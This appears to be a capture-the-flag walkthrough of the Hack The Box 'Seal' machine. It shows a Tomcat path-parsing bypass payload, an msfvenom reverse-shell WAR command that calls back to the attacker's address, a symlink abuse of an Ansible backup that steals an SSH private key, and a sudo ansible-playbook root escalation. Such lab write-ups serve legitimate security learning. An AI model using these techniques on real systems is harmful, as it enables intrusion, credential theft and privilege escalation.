Machine information
Seal is very entertaining machine. First discovering Vhost of the machine and running ffuf
against it showed few directories that were used in Apache Tomcat server. Another Service is running on port 8080, Gitbucket, after signing on the portal gave 2 repositories, in one of the repository’s commit had credentials for tomcat
user, but tomcat login portal is being blocked by nginx configuration that are coded in the repository. To access the portal, tomcat
and nginx
has a flaw which was explained and how to exploit it in great BlackHat talk by OrangeTsai - Breaking the Parser. After abusing the flaw and uploading malicious war
file and getting shell as tomcat
user, I discovered some interesting files of Ansible Playbook, an Automation engine, I will abuse the playbook to get to luis
user and after that I will exploit sudo
capability of the luis
user to get to root
user.
Enumeration
nmap
As always I will scan for all the open ports with nmap
which is highly revered network scanning tool in the inforsec community.
Starting nmap with full port scanning without detecting services and storing the results into all file prepending with flag -oA.
-p-
: Specifies All ports 0-65535-oA
: To print output into files with extensions gnmap,xml,nmap, Here A stands for All.--min-rate=
: When the –min-rate option is given Nmap will do its best to send packets as fast as or faster than the given rate. And I got the following result,
1
2
3
4
5
6
7
8
9
10
11
$_ sudo nmap -p- -oA nmap/all 10.10.10.250 --min-rate=10000
Nmap scan report for 10.10.10.250
Host is up (0.30s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 360.50 seconds
Now I scan them to identify running services and nmap pre-installed scripts using -sV
and -sC
flags respectively
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
$_ sudo nmap -sC -sV -p 22,443,8080 -oA nmap/all 10.10.10.250
# Nmap 7.92 scan initiated Wed Nov 17 19:47:20 2021 as: nmap -sC -sV -p 22,443,8080 -oA nmap/all 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after: 2022-05-05T10:24:03
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Wed, 17 Nov 2021 14:33:44 GMT
| Set-Cookie: JSESSIONID=node018cpd9xw8xe6zlifq5ogn253e41.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Wed, 17 Nov 2021 14:33:43 GMT
| Set-Cookie: JSESSIONID=node0h2w0ecmom8hh9cnk1cxbdnl39.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Wed, 17 Nov 2021 14:33:44 GMT
| Set-Cookie: JSESSIONID=node0z7vt7nzatw9i1ry86g67uqt7b40.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| Socks4:
| HTTP/1.1 400 Illegal character CNTL=0x4
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
| Socks5:
| HTTP/1.1 400 Illegal character CNTL=0x5
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=11/17%Time=61950F21%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,F3,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Wed,\x2017\x
-- snip--
SF:ontent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\
SF:x20400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 17 19:48:35 2021 -- 1 IP address (1 host up) scanned in 75.76 seconds
nmap gave hostname which I will add to my hostfile /etc/hosts
10.10.10.250 seal seal.htb
what nmap did not gave me is an email address, After running nmap I checked the certificate file of the host. I will remember this just in case.
Visiting Port 443
This how the website looks like, there aren’t any interesting directories listed.
I ran ffuf
in the backgroud. ffuf is an fuzzing tool to look for any hidden directories.
1
2
3
4
5
6
7
8
9
10
$_ ffuf -u https://seal.htb/FUZZ -w /opt/Tools/SecLists/Discovery/Web-Content/raft-small-words.txt
admin [Status: 302, Size: 0, Words: 1, Lines: 1]
css [Status: 302, Size: 0, Words: 1, Lines: 1]
js [Status: 302, Size: 0, Words: 1, Lines: 1]
images [Status: 302, Size: 0, Words: 1, Lines: 1]
manager [Status: 302, Size: 0, Words: 1, Lines: 1]
. [Status: 200, Size: 19737, Words: 7425, Lines: 519]
icon [Status: 302, Size: 0, Words: 1, Lines: 1]
cmd [Status: 302, Size: 0, Words: 1, Lines: 1]
After visiting /admin
it was revealed to me that this is an Apache Tomcat 9.0.31 server. It is showing 404 for /admin
and /cmd
pages except it is showing 403 for/manager
.
Gitbucket
There is also 8080 port open serving GitBucket. I signed up as amroot
user and logged in.
There are 2 repositories listed. Opening them revealed some usernames.
root luis alex
Firstly, I looking at the seal_market
respository. It is using nginx
and tomcat
servers. While looking at the commits, on commit ac210325afd2f6ae17cce84a8aa42805ce5fd010
there are tomcat credentials added.
On the next commit 971f3aa3f0a0cc8aac12fd696d9631ca540f44c7
it was deleted. I don’t have access to login portal so I have to find a way to it.
In the seal_market
latest commit db85dc0136b335d873a07420aa8963491c6cd362
mentioned a ToDo list.
- Remove mutual authentication for dashboard, setup registration and login features.
- Deploy updated tomcat configuration.
- Disable manager and host-manager.
Looking at commit information nginx configurations has been changed.
After looking at the code, I googled for nginx mutual authentication
and also because the server is nginx which I got from response header.
Server: nginx/1.18.0 (Ubuntu)
This blog post explains how to setup mutual auhentication in nginx server.
After this I googled for nginx tomcat exploit
, now there is a good blackhat talk from OrangeTsai ‘Breaking the Parser’ which explains POC on exploitation. This is the white paper for the talk.
Shell as Tomcat
I used /foo;name=orange/bar/
payload from the talk changed it /manager;name=orange/html
which prompted the login.
I entered the creds which I found on commit and successfully logged in as tomcat user.
I will just deploy malicious reverse shell war file using msfvenom
. I used following command to create a war file.
msfvenom -p java/shell_reverse_tcp lhost=10.10.14.120 lport=9001 -f war -o amroot.war
I will deploy the file and that gave me a reverse shell.
I upgraded my shell for better environment.
Shell as Luis
Discovering Ansible Playbook
Now that I have proper envinronment. I started looking for interesting files and I came across Ansible directory in /opt/backups
.
What is Ansible Playbook?
Ansible Playbooks offer a repeatable, re-usable, simple configuration management and multi-machine deployment system, one that is well suited to deploying complex applications. If you need to execute a task with Ansible more than once, write a playbook and put it under source control. Then you can use the playbook to push out new configuration or confirm the configuration of remote systems. The playbooks in the ansible-examples repository illustrate many useful techniques. You may want to look at these in another tab as you read the documentation.
Playbooks can:
- declare configurations
- orchestrate steps of any manual ordered process, on multiple sets of machines, in a defined order
- launch tasks synchronously or asynchronously
The Playbooks are written in YAML languange.
In the playbook
directory there is only 1 file run.yml
.
1
2
3
4
5
6
7
8
9
10
11
12
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup--.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
There Are 3 tasks being run.
- Copy files is copying files from
/var/lib/tomcat9/webapps/ROOT/admin/dashboard
to/opt/backups/files
folder usingsynchronize
module andcopy_symlink
what is important here. - Archive those files using
archive
module into/opt/backups/archives/backup-{timestamps}.gz
- Lastly delete folder ` /opt/backups/files/
using [
File](https://docs.ansible.com/ansible/2.5/modules/archive_module.html#archive-module) module's
state=absent` parameter.
Abusing Ansible
I can abuse this copy_symlink
parameter.
Copy symlinks as the item that they point to (the referent) is copied, rather than the symlink.
Firstly I have to find a writtable location inside /var/lib/tomcat9/webapps/ROOT/admin/dashboard
folder.
There is /uploads
folder where I can write. Also in the archives
folder is being written every 1 min.
I can just “write” files from /home/luis/.ssh/id_rsa
and playbook will do its thing.
1
ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
Before *.gz
files were 606047
bytes and now after symlinking new gerenerated file was 608923
bytes, looks like it worked!
I transferred the backup.gz
file on my ParrotOS and after extracting reveals id_rsa
inside uploads
directory. I will use this file to get ssh shell as luis
user using ssh -i id_rsa luis@seal
.
Shell as root
Abusing sudo -l
Getting root user was extremly easy. First thing I ran after getting shell as luis
was sudo -l
to look for any files I can run as root
user.
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
I wrote small playbook from to ping back.
After running the script I got ping from seal
GTFObins POC
I can run ansible-playbook
binary as root
user, I quickly jumped to GTFObins which showed following commands to get as root
. I created root.sh
file and transfered that file over to target machine.
1
2
3
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF
After running file bash root.sh
I was escalated to root
user.